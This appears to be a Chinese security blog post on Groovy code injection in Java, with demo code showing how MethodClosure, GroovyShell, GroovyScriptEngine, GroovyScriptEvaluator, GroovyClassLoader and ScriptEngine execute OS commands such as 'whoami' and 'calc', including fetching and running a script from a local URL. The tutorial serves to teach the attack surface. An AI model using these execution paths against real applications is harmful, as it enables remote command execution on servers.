返回

Java安全之Groovy代码注入

发布时间:2022-04-06 17:12:59 2072
# java

Groovy是Apache旗下的一种基于JVM的面向对象编程语言,既可以用于面向对象编程,也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby和Smalltalk语言的优秀特性,比如动态类型转换、闭包和元编程支持。Groovy与Java可以很好的互相调用并结合编程,比如在写Groovy的时候忘记了语法可以直接按Java的语法继续写,也可以在Java中调用Groovy脚本。比起Java,Groovy语法更加的灵活和简洁,可以用更少的代码来实现Java实现的同样功能。

Groovy特点

  1. 同时支持静态和动态类型;
  2. 支持运算符重载;
  3. 本地语法列表和关联数组;
  4. 对正则表达式的本地支持;
  5. 各种标记语言,如XML和HTML原生支持;
  6. Groovy对于Java开发人员来说很简单,因为Java和Groovy的语法非常相似;
  7. 可以使用现有的Java库;
  8. Groovy扩展了java.lang.Object;

Groovy代码注入

maven导入Groovy后,


            org.codehaus.groovy
            groovy-all
            2.4.15
        

可以直接在idea里运行groovy脚本和类。

groovy可以直接执行Java代码,也可以按照自己的语法来执行。

比如

Runtime.getRuntime().exec("calc")和"whoami".execute() 本质相同
println "whoami".execute().text 还支持回显

groovy支持单引号闭合字符串。

还可以像php一样"${"whoami".execute().text}"

MethodClosure

从名字就可以知道,这是一个方法闭包,使用方法闭包来代替对象的某个方法,方便调用。

构造函数第一个参数是对象,第二个参数是对象的方法。

并调用call方法对闭包进行调用。

package com.groovy;

import org.codehaus.groovy.runtime.MethodClosure;


public class Groovy1 {
    public static void main(String[] args) throws Exception{

//        MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
//        mc.call("calc");

        MethodClosure mc = new MethodClosure("calc","execute");
        mc.call();
    }
}

GroovyShell

GroovyShell这个类主要有三个方法evaluate run parse

evaluate有多种重载,支持从String,File,URI,Reader,GroovyCodeSource类型以及多种的组合执行groovy代码。基本逻辑就是获取通过groovy代码来写入或者加载远程或者本地的groovy脚本来执行命令。

parse就是返回一个groovy脚本(groovy.lang.Script)然后调用其run方法执行。

run方法就是获取groovy脚本来直接运行,跨过evaluate和parse方法

下面就是简单的demo。url下的exp.groovy内容就是cmd变量的值。

package com.groovy;


import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;

import java.io.File;
import java.net.URI;

public class Groovy1 {
    public static void main(String[] args) throws Exception{
        GroovyShell groovyShell = new GroovyShell();
        String cmd = "\"whoami\".execute().text";
//        System.out.println(groovyShell.evaluate(cmd));
//        File file = new File("src/main/java/com/groovy/TestGroovyScipt.groovy");
//        System.out.println(groovyShell.evaluate(file));
        URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
//        System.out.println(groovyShell.evaluate(uri));
        GroovyCodeSource groovyCodeSource = new GroovyCodeSource(cmd,"","");
        GroovyCodeSource groovyCodeSource1 = new GroovyCodeSource(uri);
        System.out.println(groovyShell.evaluate(groovyCodeSource1));
    }
}

GroovyScriptEngine

允许从指定root(可以是某文件夹,某URL,某Resource)下获取脚本来执行,还可以指定类加载器去加载。

package com.groovy;


import groovy.util.GroovyScriptEngine;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;

import java.net.URL;
import java.net.URLClassLoader;


public class Groovy1 {
    public static void main(String[] args) throws Exception{
//        GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
//        scriptEngine.run("TestGroovyScipt.groovy","");
        GroovyScriptEngine scriptEngine1 = new GroovyScriptEngine("http://127.0.0.1:8888/");
        scriptEngine1.run("exp.groovy","");

    }
}

GroovyScriptEvaluator

这个类的evaluate方法同样可以执行groovy代码,本质还是GroovyShell。

不过evaluate参数需要是org.springframework.scripting.ScriptSource接口的对象。

这个接口有两个实现类,StaticScriptSource,ResourceScriptSource。

前者提供脚本字符串,后者需要提供一个可以触发org.springframework.core.io.Resource#getFilename Resource接口对象

package com.groovy;


import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import groovy.util.GroovyScriptEngine;
import org.springframework.core.io.FileSystemResource;
import org.springframework.scripting.ScriptSource;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import org.springframework.scripting.support.ResourceScriptSource;
import org.springframework.scripting.support.StaticScriptSource;



public class Groovy1 {
    public static void main(String[] args) throws Exception{
        GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
//        ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
//        System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
//        FileSystemResource fileSystemResource = new FileSystemResource("src/main/java/com/groovy/TestGroovyScipt.groovy");
//        ScriptSource source = new ResourceScriptSource(fileSystemResource);
//        System.out.println(groovyScriptEvaluator.evaluate(source));
        Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
        ScriptSource source = new ResourceScriptSource(urlResource);
        System.out.println(groovyScriptEvaluator.evaluate(source));
    }
}

GroovyClassLoader

GroovyClassLoader用于在Java中加载groovy类并调用,有重写的loadClass和defineClass用法大抵相同,parseClass可以直接从文件或者字符串中获取groovy类。

package com.groovy;


import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;

public class Groovy1 {
    public static void main(String[] args) throws Exception{
//        GroovyClassLoader classLoader = new GroovyClassLoader(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")}));
//        Class clazz = classLoader.loadClass("exp");
        GroovyClassLoader classLoader = new GroovyClassLoader();
//        Class clazz = classLoader.parseClass(new File("src/main/java/com/groovy/Test.groovy"));
        Class clazz = classLoader.parseClass("class Test {\n" +
                "    static void main(String[] args) {\n" +
                "        GroovyShell groovyShell = new GroovyShell()\n" +
                "        String cmd = \"\\\"whoami\\\".execute().text\"\n" +
                "        println(groovyShell.evaluate(cmd).toString())\n" +
                "    }\n" +
                "}\n");
        GroovyObject object = (GroovyObject) clazz.newInstance();
        object.invokeMethod("main","");


    }
}

ScriptEngine

javax.script.ScriptEngine想必都熟悉,我们可以使用他来执行js脚本,当然也可以执行groovy脚本。

package com.groovy;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class Groovy1 {
    public static void main(String[] args) throws Exception{
        ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
        System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
    }
}

关于Groovy代码注入今天先分析到这里,后续会更新更多内容!

特别声明:以上内容(图片及文字)均为互联网收集或者用户上传发布,本站仅提供信息存储服务!如有侵权或有涉及法律问题请联系我们。
举报
评论区(0)
按点赞数排序
用户头像
精选文章
thumb 中国研究员首次曝光美国国安局顶级后门—“方程式组织”
thumb 俄乌线上战争,网络攻击弥漫着数字硝烟
thumb 从网络安全角度了解俄罗斯入侵乌克兰的相关事件时间线